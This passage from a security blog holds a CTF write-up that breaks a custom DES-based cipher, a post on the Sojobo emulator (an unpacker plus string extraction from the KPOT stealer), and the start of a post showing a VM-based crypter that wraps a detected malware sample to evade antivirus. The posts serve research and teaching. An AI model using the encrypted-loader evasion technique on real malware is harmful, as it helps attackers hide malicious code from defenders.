I struggled a bit on this part, until I realized, the parity bit! It is pretty know that <b>DES</b> uses a key of 64 bits but the effective size is 56 bits. This is due to the fact that the last bit is used as parity bit and it is not consider in the encryption process. Since we have 3 full bytes (the last one is shifted by 5 so doesn't count), by removing 1 bit from each byte we reach the final size of 24 bits.<br/><br/>
<h2>Finding the plaintext</h2>
At this point we have in place the theory and the feasibility of the attack but we miss one last piece, the plaintext to encrypt. Unfortunately the program doesn't seem to give any hints on the format of the plaintext, so I decided to take another look at the program. As every experienced reverse engineering in the world would do, I run the most sophisticated analysis, I run <i>strings</i> on the binary. I discovered some interesting strings like:<br/><br/>
</hr><pre>
"Scrivi il messaggio e premi INVIO, control Z, INVIO... "
"Inserisci la password SEGRETA e premi INVIO!! "
"Stai per creare un messaggio segreto con"
</pre></hr><br/><br/>
those strings were effectively referenced in the binary. By taking a look at the referencing code I discovered that if the binary doesn't found the encrypted resource, it enters in another state and allows to create a secret message. So I removed the resource and started the program again. The image below show how to create a secret message.<br/><br/>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-Ey_p6fVliTY/XPgQ5RGtJYI/AAAAAAAACVg/qRjxBX7lMUgEyL9DAvKIejQcHE1pBNifQCLcBGAs/s1600/creation.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-Ey_p6fVliTY/XPgQ5RGtJYI/AAAAAAAACVg/qRjxBX7lMUgEyL9DAvKIejQcHE1pBNifQCLcBGAs/s400/creation.gif" width="400" height="283" data-original-width="1167" data-original-height="739" /></a></div>
<br/><br/>
Since I created a new protected message I'm finally able to see which is the screen displayed to the user when a message is correctly decrypted. From this screen I can see that the first 8 bytes are always the same and their value is: "<strong>Oggetto:</strong>". Finally we have all the missing pieces of our puzzle.<br/><br/>
<h2>Break the rule!</h2>
We reached the end of the writeup, let's do a quick recap of the attack:<br/><br/>
<h4>P = D(E(C, k2), k3) => E(P, k3) = E(C, k4) =><br/>E("Oggetto:", k3) = E("\xA8\xEC\xE8\x6E\x9D\xB5\xE1\xB7", k4)</h4><br/><br/>
I have to compute the two parts for each k3 and k4 until I found two keys that generates the same value.<br/><br/>
So, the implementation of the Meet In The Middle attack is composed of two steps, in the first part I encrypt the plaintex with all keys from the 24 bit keyspace and save the result and the key. Then I proceed to encrypt the ciphertext with each possible key and try to find a match with the first step. If a match is found I broke the encryption.<br/><br/>
On my laptop it took a while to complete. In the following result you can see the execution of the first step of the attack:<br/><br/>
<hr/><pre>
-=[ Start encrypt plaintext: 6/6/2019 2:54:27 PM ]=-
Start iteration 0 of 7 at 6/6/2019 2:54:27 PM
Start iteration 1 of 7 at 6/6/2019 3:07:01 PM
Start iteration 2 of 7 at 6/6/2019 3:18:45 PM
Start iteration 3 of 7 at 6/6/2019 3:32:16 PM
Start iteration 4 of 7 at 6/6/2019 3:45:15 PM
Start iteration 5 of 7 at 6/6/2019 3:58:26 PM
Start iteration 6 of 7 at 6/6/2019 4:10:37 PM
Start iteration 7 of 7 at 6/6/2019 4:22:27 PM
-=[ End encrypt plaintext: 6/6/2019 4:34:14 PM ]=-
</pre><hr/><br/>
And here is the second part of the attack where you can see that the password was successfully bruteforced:<br/><br/>
<hr/><pre>
-=[ Populate storage from pre-built table: 6/6/2019 5:56:37 PM ]=-
-=[ Start identify key: 6/6/2019 5:58:03 PM ]=-
Start iteration 0 of 7 at 6/6/2019 5:58:03 PM
Start iteration 1 of 7 at 6/6/2019 6:01:58 PM
Encrypt Password found: 20-8A-34-40-00-00-00-00
Decrypt Password found: 80-A0-DE-1C-00-00-00-00
-=[ End identify key: 6/6/2019 6:08:43 PM ]=-
-=[ Secret message: 6/6/2019 6:08:47 PM ]=-
Oggetto: Finché la barca va.
Quell'augel d'ebano, allora, così tronfio e pettoruto
tentò fino ad un sorriso il mio spirito abbattuto:
«Sebben spiumato e torvo, - dissi, - un vile non sei tu
certo, o vecchio spettral corvo della tenebra di Pluto?
Quale nome a te gli araldi dànno a corte di Re Pluto?»
Disse il corvo allor: «HM{2005d05af414ac92a3ffc5beecbd94f4}!».
PS: questo «4DES» non mi sembra molto sicuro. ho dei seri dubbi sull'algo-
ritmo di hashing della password, e comunque quando si implementa un algorit-
mo non standard si rischia sempre di fare degli erroi grossolani. anche ba-
nali errori di copia-incolla possono essere fatali per la sicurezza. E poi
il logo è così lento a disegnarsi! Troviamo un'alternativa?
</pre><hr/><br/><br/>
Once that I retrieve the keys I'm able to decrypt the text and visualize the FLAG (which is HM{2005d05af414ac92a3ffc5beecbd94f4}), as can be seen from the following video:<br/><br/>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-0r5V9Uiwpuw/XPgskw5C_hI/AAAAAAAACVs/9-kinvW6gbsOgP__njIC7ZXNjftr1TjbACLcBGAs/s1600/POST.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-0r5V9Uiwpuw/XPgskw5C_hI/AAAAAAAACVs/9-kinvW6gbsOgP__njIC7ZXNjftr1TjbACLcBGAs/s400/POST.gif" width="400" height="283" data-original-width="1054" data-original-height="746" /></a></div>
<br/><br/>
<h2>Conclusion</h2>
This challenge was very entertaining, not because of the reversing part (that was pretty easy to be honest) but because was built with the idea to show how difficult is to implement a new cryptographic algorithm by demonstrating how a real world attack works.<br/><br/>
<h2>Side Note</h2>
The challenge is full of funny comments having joke of hackers. The author told me that she created this challenge by considering a middle-aged developer.<br/><br/>
The final message is an excerpt from the poem "The Raven" where the quote "Nevermore" was replaced with the MD5 of "Barbra Streisand" (the actual CTF flag value). This is a tribute to a meme that was popular at that time (actually I didn't realize this thing, it was the author that told me to search for that MD5).<br/><br/>
<h2>Source Code</h2>
The full source code is on my <a href="https://github.com/enkomio/Misc/tree/master/Hm0x14Writeup">Github account</a>, I report here just the most important parts to break the encryption (for an updated version please visit the Github website).<br/><br/>
</hr>
<pre>
namespace Hm0x14Writeup
open System
open System.Text
open System.IO
open System.Collections.Generic
open System.Reflection
module Program =
let mangleKey(k0: Int32, k1: Int32, k2: Int32, k3: Int32) = [|
byte k0 <<< 5
byte k1 <<< 1
byte k2 <<< 1
byte k3 <<< 1
0uy
0uy
0uy
0uy
|]
let getKeys() = seq {
for i0=0 to 0x7 do
Console.WriteLine("Start iteration {0} of 7 at {1} ", i0, DateTime.Now)
for i1=0 to 0x7F do
for i2=0 to 0x7F do
for i3=0 to 0x7F do
yield (mangleKey(i0, i1, i2, i3))
}
let buildEncryptedTextTable(plainText: Byte array, storage: Dictionary<String, Byte array>) =
Console.WriteLine("-=[ Start encrypt plaintext: {0} ]=-", DateTime.Now)
Utility.getKeys()
|> Seq.iter(fun key ->
try
let encryptedBuffer = Encryption.encrypt(plainText, key)
storage.[BitConverter.ToString(encryptedBuffer)] <- key
with _ -> ()
)
Console.WriteLine()
Console.WriteLine("-=[ End encrypt plaintext: {0} ]=-", DateTime.Now)
Console.WriteLine()
let populateStorage(storage: Dictionary<String, Byte array>) =
if not <| Storage.storageExists() then
let plainText = Encoding.UTF8.GetBytes("Oggetto:")
buildEncryptedTextTable(plainText, storage)
Storage.saveEncryptedText(storage)
Storage.loadEncryptedText(storage)
let findKey(encryptedText: Byte array, storage: Dictionary<String, Byte array>) =
Console.WriteLine("-=[ Start identify key: {0} ]=-", DateTime.Now)
let mutable (encKey, decKey) = (Array.empty<Byte>, Array.empty<Byte>)
Utility.getKeys()
|> Seq.iter(fun key ->
try
let encryptedBuffer = Encryption.encrypt(encryptedText, key) |> BitConverter.ToString
if storage.ContainsKey(encryptedBuffer) then
encKey <- storage.[encryptedBuffer]
decKey <- key
Console.WriteLine("Encrypt Password found: " + BitConverter.ToString(storage.[encryptedBuffer]))
Console.WriteLine("Decrypt Password found: " + BitConverter.ToString(key))
Console.ReadLine() |> ignore
with _ -> ()
)
Console.WriteLine()
Console.WriteLine("-=[ End identify key: {0} ]=-", DateTime.Now)
Console.WriteLine()
(encKey, decKey)
let getCipherText() =
let curDir = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location)
File.ReadAllBytes(Path.Combine(curDir, "4DES_SEGRETO"))
[<EntryPoint>]
let main argv =
let storage = new Dictionary<String, Byte array>()
populateStorage(storage)
// decrypt the cipher text
let ciphertext = getCipherText()
let (encKey, decKey) = findKey(ciphertext.[0..7], storage)
// print the cipherText
let secretMessage = Encryption.twoDesDecrypt(encKey, decKey, ciphertext)
Console.WriteLine(secretMessage)
0
</pre>
</hr>Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-26394608297203098312019-05-19T12:21:00.000-07:002019-05-20T02:03:03.213-07:00Sojobo - Yet another binary analysis framework<p>Twitter: <a href="https://twitter.com/s4tan">@s4tan</a></p>
<p>Sojobo GitHub project: <a href="https://github.com/enkomio/Sojobo">https://github.com/enkomio/Sojobo</a></p>
<strong>Sojobo</strong> is a new binary analysis framework written in .NET and based on <a href="https://b2r2.org/" target="_blank">B2R2</a>. I created this project for learning purpose and to make my work easier during malware analysis.<br/><br/>
<h2>B2R2</h2>
A couple of months ago a new binary analysis framework named B2R2 was released ([01, 02]), which also won the "BAR 2019 Best Paper Award" ([03]). It immediately attracted my attention since it is fully developed in F# in .NET Core and doesn't need any external libraries. This was a big plus for me since I love F# and I always had issues with the most common binary analysis frameworks (like the needs of a specific library version or the python binding is not working with the latest version or they are supposed to run only on Linux).<br/><br/>
B2R2 is a framework with an academic origin (this is a very rare case, since academic are reluctant to release working source code) and the developer is very responsive (and kind) on GitHub. It supports various CPU architectures and implements a new IR (LowUIR) which is very simple to understand. All sound very promising :) <br/><br/>
Unfortunately, as the B2R2 main developer wrote ([04]), it is a frontend framework and at the moment no implementation is provided as backend. Also, they are considering running a business on the implementation of a backend framework and at the moment they are unsure when they will release it.<br/><br/>
In the meantime that such code will be released I decided to write a backend on my own :)<br/><br/>
<h2>Using Sojobo</h2>
Sojobo allows to emulate PE binary (32 bit) and to interact with the emulation. It implements a <i>Sandbox</i> class that can be used to emulate a given binary. In the following paragraph we will see how to write a simple generic unpacker.<br/><br/>
<h3>Implementing a generic unpacker</h3>
As first example I tried to write a tool that dumps a dynamically allocated memory region which is then executed. My purpose was to write a generic unpacker (as a POC of course) by following the principles described in the paper "<i>Automatic Static Unpacking of Malware Binaries</i>" ([05]). This kind of tools are pretty common among malware analysts, recently a new one was released([06]).<br/><br/>
You can find the source code of this sample in the GitHub repository, I'll paste it here for convenience:<br/><br/>
<pre><code class="C++">
#include <stdint.h>
#include <Windows.h>
void copy_code(void *buffer)
{
__asm
{
jmp start
code:
push ebp
mov ebp, esp
xor eax, eax
mov edx, 1
mov ecx, DWORD PTR [ebp+8]
l:
xadd eax, edx
loop l
mov esp, ebp
pop ebp
ret
start:
mov esi, code;
mov edi, buffer;
mov ecx, start;
sub ecx, code;
rep movsb
}
}
int main()
{
uint32_t ret_val = 0;
void *fibonacci = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
copy_code(fibonacci);
ret_val = ((uint32_t (*)(uint32_t))fibonacci)(6);
VirtualFree(fibonacci, 0x1000, MEM_RELEASE);
return 0;
}
</code></pre>
<br/><br/>
As you can see the code allocates a new memory region, invokes a function to copy some code and executes it. I tried to mimic a malware that unpacks the real payload in memory and then executes it. My goal is to dump such code.<br/><br/>
To do that I'll follow a simple principle (described in the referred paper): if a memory region that was previously written to is executed, then I'll dump it to disk. By using Sojobo I subscribed to an event handler that is invoked each time that a memory is accessed. I can now step trough the process and monitor if a region that was previously written is now executed.<br/><br/>
One of the first issue was to emulate invocation of external function (like <i>VirtualAlloc</i>). With Sojobo you can easily emulate such call by following a given coding convention (I'm a fan of convention over configuration paradigm [07]) but don't worry, Sojobo already implements emulation for some functions and I plan to support many more functions.<br/><br/>
Saying that, the solution to our problem is the following one (the code is also in GitHub):
<pre><code class="F#">
namespace ES.EndToEndTests
open System
open System.IO
open System.Collections.Generic
open B2R2
open ES.Sojobo.Model
open ES.Sojobo
module DumpDynamicMemory =
let private _memoryRegions = new List<MemoryRegion>()
let mutable private _memoryDumped = false
let private memoryAccessedHandler(operation: MemoryAccessOperation) =
match operation with
| Read address -> ()
| Write(address, value) -> ()
| Allocate memRegion -> _memoryRegions.Add(memRegion)
| Free memRegion -> ()
let private writeDisassembly(activeProcess: IProcessContainer) =
let text = Utility.formatCurrentInstruction(activeProcess)
Console.WriteLine(text)
let private identifyUnpackedCode(activeProcess: IProcessContainer) =
if not _memoryDumped then
let pc = activeProcess.GetProgramCounter().Value |> BitVector.toUInt32
_memoryRegions
|> Seq.tryFind(fun memRegion ->
pc >= uint32 memRegion.BaseAddress &&
pc < uint32 memRegion.BaseAddress + uint32 memRegion.Content.Length
)
|> Option.iter(fun memRegion ->
// a previously allocated region now is being executed, maybe unpacked code!
let filename = String.Format("mem_{0}.bin", memRegion.BaseAddress)
File.WriteAllBytes(filename, memRegion.Content)
Console.WriteLine("[+] Dynamic code dumped to: {0}!", filename)
_memoryDumped <- true
)
let private step(activeProcess: IProcessContainer) =
writeDisassembly(activeProcess)
identifyUnpackedCode(activeProcess)
let private getTestFile() =
["Release"; "Debug"]
|> Seq.map(fun dir -> Path.Combine("..", "..", "..", dir, "RunShellcodeWithVirtualAlloc.exe"))
|> Seq.tryFind(File.Exists)
let ``dump dynamically executed memory``() =
let sandbox = new Win32Sandbox()
let exe =
match getTestFile() with
| Some exe -> exe
| None ->
Console.WriteLine("RunShellcodeWithVirtualAlloc.exe not found, please compile it first!")
Environment.Exit(1)
String.Empty
sandbox.Load(exe)
// setup handlers
let proc = sandbox.GetRunningProcess()
proc.Memory.MemoryAccess.Add(memoryAccessedHandler)
proc.Step.Add(step)
// print imported function
proc.GetImportedFunctions()
|> Seq.iter(fun symbol ->
Console.WriteLine(
"Import: [0x{0}] {1} ({2}) from {3}",
symbol.Address.ToString("X"),
symbol.Name,
symbol.Kind,
symbol.LibraryName
)
)
// run the sample
sandbox.Run()
</code></pre>
<br/><br/>
The code is quite simple, each time that a memory region is allocated I add it to a list. For each executed instruction I monitor if EIP is in the range of one of the previously allocated memory and if so I dump the region content to disk. If we execute the code a new file is written to disk which contains the following disassembled code:<br/><br/>
<pre><code class="Intel x86 Assembly">
L_00000000: push ebp
L_00000001: mov ebp, esp
L_00000003: xor eax, eax
L_00000005: mov edx, 0x1
L_0000000A: mov ecx, [ebp+0x8]
L_0000000D: xadd eax, edx
L_00000010: loop 0xd
L_00000012: pop ebp
L_00000013: ret
</code></pre>
<br/><br/>
<h3>A real world sample: emulates KPOT v2.0 and dumps the deobfuscated strings</h3>
Let's try to use Sojobo with a real world case. Recently, Proofpoint published a new article about a new KPOT version ([08]). We will consider the sample with SHA256: 67f8302a2fd28d15f62d6d20d748bfe350334e5353cbdef112bd1f8231b5599d.<br/><br/>
In the GitHub repository I included the KPOT sample too, I took precaution to be sure that it is not executed by mistake (it is XORed, base64 encoded and with a corrupt PE header).<br/><br/>
Our goal is to dump the strings once that they are decrypted. The function in charge for the decryption is at address <i>0x0040C8F5</i> and once that it returns in EAX is stored the length of the string and the EDI register points to the decrypted buffer. We can then read the memory content and print it. <br/><br/>
Sojobo tries to emulate the most common functions and in particular it emulates <i>GetLastError</i> by returning 0 (success). If we take a look at the KPOT code we spot the following one:<br/><br/>
<pre><code class="Intel x86 Assembly">
.text:004103BB call ds:LoadUserProfileW
.text:004103C1 test eax, eax
.text:004103C3 jnz short loc_4103D0
.text:004103C5 call ds:GetLastError
.text:004103CB cmp eax, 57h ; 'W'
.text:004103CE jz short loc_4103D5
.text:004103D0 jmp near ptr loc_4103D0+1 ; Jump to garbage
</code></pre>
<br/><br/>
Basically, if the <i>GetLastError</i> code is different than 0x57 the process crash (jump to garbage data). So we have to override the <i>GetLastError</i> default function definition in order to force to return 0x57. This is done by creating a class with name <i>Kernel32</i> and a function with name <i>GetLastError</i> that accepts as first parameter a <i>ISandbox</i> object. Take a look at <a href="https://github.com/enkomio/Sojobo/blob/master/Src/Examples/Kpot2StringExtractor/Kernel32.cs">this file</a> for the implementation details. Then, we <a href="https://github.com/enkomio/Sojobo/blob/master/Src/Examples/Kpot2StringExtractor/Program.cs#L83">add our assembly to the Sandbox</a> in order to consider our function implementation, finally as done before we setup a process step handler, which contains the following code:<br/><br/>
<pre><code class="C#">
private static void ProcessStep(Object sender, IProcessContainer process)
{
var ip = process.GetProgramCounter().ToInt32();
if (ip == _retAddresDecryptString)
{
// read registers value
var decryptedBufferAddress = process.GetRegister("EDI").ToUInt64();
var bufferLength = process.GetRegister("EAX").ToInt32();
// read decrypted string
var decryptedBuffer = process.Memory.ReadMemory(decryptedBufferAddress, bufferLength);
var decryptedString = Encoding.UTF8.GetString(decryptedBuffer);
Console.WriteLine("[+] {0}", decryptedString);
}
}
</code></pre>
<br/><br/>
By reversing the sample we know that the decrypt function end at address <i>0x0040C928</i>, so when this point is reached we can dump the decrypted string by reading the EAX and EDI register values and also by reading the process memory. Find below an example of execution:<br/><br/>
<pre><code class="Bash">
-=[ Start Emulation ]=-
[+] wininet.dll
[+] winhttp.dll
[+] ws2_32.dll
[+] user32.dll
[+] shell32.dll
[+] advapi32.dll
[+] dnsapi.dll
[+] netapi32.dll
[+] gdi32.dll
[+] gdiplus.dll
[+] oleaut32.dll
[+] ole32.dll
[+] shlwapi.dll
[+] userenv.dll
[+] urlmon.dll
[+] crypt32.dll
[+] mpr.dll
-=[ Emulation Completed ]=-
</code></pre><br/><br/>
Of course that list is by no means exhaustive. We will see in the next paragraphs why of this.<br/><br/>
<h3>It is really so simple and smooth?</h3>
I would love to say yes, but there are still some limitations (that I already planned to solve). The output above is taken by emulating the KPOT function that is in charge for loading the real used DLLs. Before that code we have the following one:<br/><br/>
<pre><code class="Intel x86 Assembly">
.text:00406966 64 A1 30 00 00 00 mov eax, large fs:30h ; read PEB
.text:0040696C 8B 40 18 mov eax, [eax+18h] ; read Heap
.text:0040696F C3 retn
</code></pre>
<br/><br/>
Basically, it reads the Heap base address from PEB. A solution to this would be to place some fake values but it is not a good solution in the long term (KPOT resolves function addresses by walking the EAT). So I defined a PEB and TEB structures and written them to the process memory (I also correctly initialized the <i>FS</i> register). I have also implemented a serialization algorithm that will allows us to "read" object type from memory (instead that just a bunch of raw bytes). This will be very handy if we want to customize some complex structure (like PEB in this case). In the next paragraph we will take advantage of this feature.<br/><br/>
The second problem is that KPOT tries to resolve function addresses by walking the Ldr field. It also use the Ldr field to find the base address of <i>Kernel32</i>, this is done by the following code:<br/><br/>
<pre><code class="Intel x86 Assembly">
.text:00406936 get_Kernel32_base_via_Ldr proc near
.text:00406936 64 A1 30 00 00 00 mov eax, large fs:30h ; read PEB
.text:0040693C 8B 40 0C mov eax, [eax+0Ch] ; read Ldr
.text:0040693F 8B 40 0C mov eax, [eax+0Ch] ; read InLoadOrderModuleList
.text:00406942 8B 00 mov eax, [eax] ; read first entry (ntdll)
.text:00406944 8B 00 mov eax, [eax] ; read second entry (kernel32)
.text:00406946 8B 40 18 mov eax, [eax+18h] ; read DllBase
.text:00406949 C3 retn
.text:00406949 get_Kernel32_base_via_Ldr endp
</code></pre>
<br/><br/>
Even in this case you can just fake this value and write back the <i>LDR_DATA_TABLE_ENTRY</i> structure to memory but very soon you will discover that this strategy with fail (in fact, in our test the emulation raise an exception).<br/><br/>
<h3>Dumping all strings from KPOT v2.0 (for real)</h3>
In the previous paragraph was introduced a feature that allows us to read objects from the process memory. In this paragraph we will see how to dump all encrypted strings in a very easy way. As said by Proofpoint all strings are encrypted with a very simple algorithm and stored in a struct that has the following layout:<br/><br/>
<pre><code class="C#">
public class EncryptedString
{
public UInt16 EncryptionKey;
public UInt16 StringLength;
public UInt32 Buffer;
public String Decrypt(IProcessContainer process)
{
var buffer = process.Memory.ReadMemory(this.Buffer, this.StringLength);
var stringContent = new StringBuilder();
foreach(var b in buffer)
{
stringContent.Append((Char)(b ^ this.EncryptionKey));
}
return stringContent.ToString();
}
}
</code></pre><br/><br/>
It would be very useful if we can read from the memory process an <i>EncryptedString</i > object instead that a raw byte array (as done by the Proofpoint python script). With Sojobo you can do it and the code to print all the decrypted strings is as simple as this one:<br/><br/>
<pre><code class="C#">
private static void DecryptStrings(IProcessContainer process)
{
Console.WriteLine("-=[ Start Dump All Strings ]=-");
// encrypted strings
var encryptedStringsStartAddress = 0x00401288UL;
var encryptedStringsEndAddress = 0x00401838UL;
var currentOffset = encryptedStringsStartAddress;
while (currentOffset < encryptedStringsEndAddress)
{
var encryptedString = process.Memory.ReadMemory<EncryptedString>(currentOffset);
var decryptedString = encryptedString.Decrypt(process);
Console.WriteLine("[+] {0}", decryptedString);
// go to the next string
currentOffset += 8UL;
}
Console.WriteLine("-=[ Dump All Strings Completed ]=-");
}
</code></pre><br/><br/>
In the GitHub repository you can find the full source code (to dump all strings pass <i>--strings</i> as first argument). The result it is the same as the one provided by Proofpoint (but with a cleaner code :P).
<br/><br/>
<h2>Conclusion and future development</h2>
Sojobo is still in its infancy but it can already be used for some initial analysis. In its future releases I'm going to add more emulated functions and the possibility to map other files in the process address space. By mapping external files (like Kernel32 or Ntdll) we can overcome problems related to an indirect referencing (like in the case above) while still maintaining control on how to emulate the function.<br/><br/>
<h2>References</h2>
[01] B2R2: Building an Efficient Front-End for Binary Analysis - <a href="https://www.reddit.com/r/ReverseEngineering/comments/aultc1/b2r2_building_an_efficient_frontend_for_binary/">https://www.reddit.com/r/ReverseEngineering/comments/aultc1/b2r2_building_an_efficient_frontend_for_binary/</a><br/>
[02] B2R2: Building an Efficient Front-End for Binary Analysis (PDF) - <a href="https://ruoyuwang.me/bar2019/pdfs/bar2019-final51.pdf">https://ruoyuwang.me/bar2019/pdfs/bar2019-final51.pdf</a></br/>
[03] NDSS Workshop on Binary Analysis Research (BAR) 2019 - <a href="https://ruoyuwang.me/bar2019/">https://ruoyuwang.me/bar2019/</a><br/>
[04] Symbolic Execution component #question - <a href="https://github.com/B2R2-org/B2R2/issues/9">https://github.com/B2R2-org/B2R2/issues/9</a><br/>
[05] Automatic Static Unpacking of Malware Binaries - <a href="https://www.researchgate.net/publication/221200507_Automatic_Static_Unpacking_of_Malware_Binaries">https://www.researchgate.net/publication/221200507_Automatic_Static_Unpacking_of_Malware_Binaries</a><br/>
[06] MwEmu: Malware analysis emulator written in Python 3 (based on Unicorn) - ALPHA version - <a href="https://www.reddit.com/r/Malware/comments/bkb0p9/mwemu_malware_analysis_emulator_written_in_python/">https://www.reddit.com/r/Malware/comments/bkb0p9/mwemu_malware_analysis_emulator_written_in_python/</a><br/>
[07] Convention over configuration - <a href="https://en.wikipedia.org/wiki/Convention_over_configuration">https://en.wikipedia.org/wiki/Convention_over_configuration</a><br/>
[08] New KPOT v2.0 stealer brings zero persistence and in-memory features to silently steal credentials - <a href="https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal">https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal</a><br/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.6/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-68544189330273637892018-11-11T12:18:00.000-08:002018-11-12T02:03:50.447-08:00Sacara VM Vs Antivirus Industry<p>Twitter: <a href="https://twitter.com/s4tan">@s4tan</a></p>
<p>Sacara VM GitHub project: <a href="https://github.com/enkomio/sacara">https://github.com/enkomio/sacara</a></p>
In this blog post I want to describe a bit my latest side project and provides some data about how effective are protections based on software virtualization.</br></br>
<h2>State of the art</h2>
If you ever read an academic paper, you have noticed that is imperative to describe which is the current state of the art of the topic discussed. I found this section very helpful so I decided to report here
the articles that I have read and, according to my opinion, their technical level. Of course this is not a complete list and is very probable that I have missed some good resources.</br></br>
<h3>Level beginner</h3>
As often happens there are a lot of good resource to start with, this is also true for the VM protection concept. At this level I think that the only needed skill is to be able to read Assembly and being able to use a debugger.
If you are looking for some code to read I suggest you to take a look at Pasticciotto ([<a href="#01">01</a>]). It has also a nice writeup about
how the VM works and which are the implemented opcodes. Another very interesting challenge is the one created by MalwareTechBlog, where you have to reverse a binary in order to obtain the flag. You can find a
good write-up at [<a href="#02">02</a>].</br></br>
<h3>Level intermediate</h3>
Let's raise the difficulty bar and see some projects that were created with the real purpose to protect the code. The required skill is to be able to create some simple scripts in order to easier your task,
but nothing too advanced.</br></br>
By considering projects created only for fun, the two most renowned ones are the <i>hyperunpackme2</i> by thehyper ([<a href="#03">03</a>]) and the ReWolf x86 Virtualizer ([<a href="#04">04</a>]).</br>Maximus wrote a good (and lengthy) write-up
about the first challenge at [<a href="#05">05</a>]. Even Rolf Rolles wrote a post where he created an IDA Processor module to analyze the code ([<a href="#06">06</a>]). Before you ask me, I don't consider writing a full IDA Processor as having basic IDA scripting skills :)</br></br>
<h3>Level Advanced</h3>
To tackle advanced reverse engineering problems is not enough to have a very good understanding of theoretical concepts, but it is also necessary to be proficient with the available tools.</br></br>
At this level the amount of work
that must be done in order to understand what a program is doing cannot be solved by just looking at the assembly code (at least without an enormous amount of pain).
There are three cases that in particular I consider pretty difficult to analyze.</br></br>
The first one
is a crackme challenge implemented by Solar Designer in 1996 (yes, you read it correctly, more than 22 years ago) [<a href="#07">07</a>]. In his project the author implemented what is know as a "one instruction set computer (OISC)", in particular
he based all his work on the NOR instruction.
</br></br>The second one is the challenge number 12 of the 2018 Flare-On challenge (Suspicious Floppy Disk: Nick Harbour), in this case the author went one step further and
implemented two nested <i>OISC</i>, where the first one is a <i>SUbtract and Branch if Less than or EQual</i> aka "subleq" and the second one is a <i>Reverse Subtract and Skip if Borrow</i> aka "RSSB".</br>You can read a solution for this challenge
at [<a href="#08">08</a>,<a href="#09">09</a>].</br></br>
The last example, directly from the academia, is the tigress challenge [<a href="#10">10</a>], which is a challenge based on the obfuscation of the various hash functions, by using state-of-the-art protection (VM, Jitting ,etc...).
A solution to part of the challenge was provided by Jonathan Salwan in [<a href="#11">11</a>].</br></br>
As you can see by reading the solution of those challenges, the authors have used some advanced techniques that imply the creation of a custom CPU processor,
or emulation via symbolic execution. Without a proficient knowledge of tools, solving that kind of challenges would result in a very complicated (almost impossible) task.</br></br>
<h2>Introducing Sacara VM</h2>
Sacara is another project that implements a custom low level language that can be used to obfuscate part of code. It is not a tool that translate a PE binary in an obfuscated one, you have to write your own program :)</br></br>
It tries to protect the code by using some features that increase the difficulty in the reverse engineering process (like Opcode encryption based on the location, multiple opcodes representation, usage of NOR instruction to implements various arithmetic functions, anti-debugging, and so on).</br></br>
I created the project since I wanted to experiment a bit in this area, in the GitHub repository you can find the assembler (written in F#) and the VM to execute the code
(written in x86 assembly). I'm not going to describe in details how it works, it is open source, read the code if you are curious :) Instead, I want to show you how effective can be this kind of protection in order to hide the real meaning of a program when the binary is analyzed by an Antivirus.</br></br>
Before to proceed I want to make clear that this post is not another rant post on how the AV industry sucks. Too often people forget how difficult is to implement such kind of programs. If you really want to write a rant post on it, please be sure to present also an effective solution to the identified problems.</br></br>
<h2>Protecting a .NET binary</h2>
For my test I created a sample application that read a blob from the resource and load it via the <i>Assembly.Load</i> method. You can find the source code of this program in the GitHub project, under the <i><a href="https://github.com/enkomio/sacara/tree/master/Src/Examples/LoadEncryptedAssembly">Example\LoadEncryptedAssembly</a></i> directory.</br></br>
The program allows to specify a .NET binary and a password in order to create a copy of itself with the specified file "encrypted" and embedded in its resources. The encryption is very simple, here is the code:
<pre>
public static void ManagedEncrypt(Byte[] buffer, String password)
{
var key = Encoding.Default.GetBytes(password);
for (var i = 0; i < buffer.Length; i++)
{
buffer[i] = (byte)(buffer[i] ^ key[i % key.Length]);
}
}
</pre>
Once done that, you can invoke the new created program, which just loads the resource, decrypt it and run it.</br></br>
The important point is that I used the <i>Sacara VM</i> in order to do the decryption of the data. To do this I created a simple
script that you can find <a href="https://github.com/enkomio/sacara/blob/master/Src/Examples/LoadEncryptedAssembly/Encryption.cs#L23">here</a>, find below the source:</br></br>
<script src="https://gist.github.com/enkomio/a24771cd915f0c468bb725b24aebb998.js"></script>
In order to have a realistic test I chose a malware from VirusTotal with a very high detection rate. After searching for the <i>Assembly</i> keyword I found this file:
<a href="https://www.virustotal.com/#/file/3dd7ae0bca5e8e817581646c0e77885ffd3a60333a5bd24df9ccbe90b9938293/detection">3dd7ae0bca5e8e817581646c0e77885ffd3a60333a5bd24df9ccbe90b9938293</a>, which has a
detection rate of <b>65/68</b>, as you can see in the following image:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-9GxSSUICkX4/W-g4yyG2MlI/AAAAAAAACMI/8HWSM7PQ5gsubENIGF89Q0aYzzb3-WV8QCLcBGAs/s1600/Pre.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-9GxSSUICkX4/W-g4yyG2MlI/AAAAAAAACMI/8HWSM7PQ5gsubENIGF89Q0aYzzb3-WV8QCLcBGAs/s320/Pre.png" width="320" height="306" data-original-width="1082" data-original-height="1036" /></a></div>
</br></br>
Then, I ran the following command:
<pre>
LoadEncryptedAssembly.exe -b 3dd7ae0bca5e8e817581646c0e77885ffd3a60333a5bd24df9ccbe90b9938293 -p sacara
-=[ Dynamically load encrypted Assembly SacaraVm sample ]=-
For more information pass -h as argument
New file 'LoadEncryptedAssembly.build.exe' generated. Run it to execute the program.
</pre>
